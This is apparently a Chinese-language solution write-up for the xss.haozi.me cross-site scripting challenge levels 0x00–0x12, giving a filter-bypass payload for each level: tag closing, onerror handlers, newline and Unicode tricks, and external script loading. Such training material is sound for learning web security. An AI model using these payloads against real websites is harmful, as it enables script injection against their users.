xss挑战
https://xss.haozi.me GitHub的issues里有题解
0x00
<script>alert(1)</script>
0x01
闭合标签
</textarea><script>alert(1)</script>
0x02
"><script>alert(1)</script>
使得代码变成这样,将input标签闭合
<input type="name" value=""><script>alert(1)</script>">
0x03
过滤了括号,方法就挺多了。比如unicode编码绕过
<svg><script>alert( 1) </script></svg>
0x04
过滤了括号和反引号(哈哈,看出来上题实际是想考什么了吧)。跟上题一样Unicode编码
<svg><script>alert( 1) </script></svg>
0x05
闭合掉注释
--!><script>alert(1)</script>
0x06
input = input.replace(/auto|on.*=|>/ig, '_')
/ig 全文查找,忽略大小写
匹配auto或者on开头,=或者>结尾的字符串。中间的.匹配的是除了换行符n之外的字符串,所以可以用换行绕过
type="image" src="" onerror
="alert(1)"
0x07
过滤了<开头 >结尾的字符串
<img src="" onerror ="alert(1)"
0x08
标签会被替换,在e和>之间加空格或者换行就能绕过。有点奇妙
</style ><script>alert(1)</script>
0x09
含有指定url,然后想法闭合标签
https://www.segmentfault.com.haozi.me"></script><script>alert(1)</script>
0x0A
引入外部js文件(可惜没有域名,用ip地址没成功)
https://www.segmentfault.com@domain/a.js
0x0B&0x0C
老套路编码绕过
<img src="" onerror ="alert(1)"
0x0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
换行以跳出function中的单行注释,在用–>注释掉后面跟着的‘)
input:
alert(1)
-->
0x0E
- ſ 古英语中的s的写法, 转成大写是正常的S 2. 用外链的方式加载外部js 这题解就离谱。。。。
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F
构造闭合,转义没起作用(对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js)
');alert('1
0x10
'';alert(1)
0x11
");alert("1
0x12
" 被转义成 " 经过html 解析后 里面变成 console.log("\")
会报语法错误, 再补个 \ 即可
\");alert(1)//
或者新建一个标签
</script><script>alert(1)</script>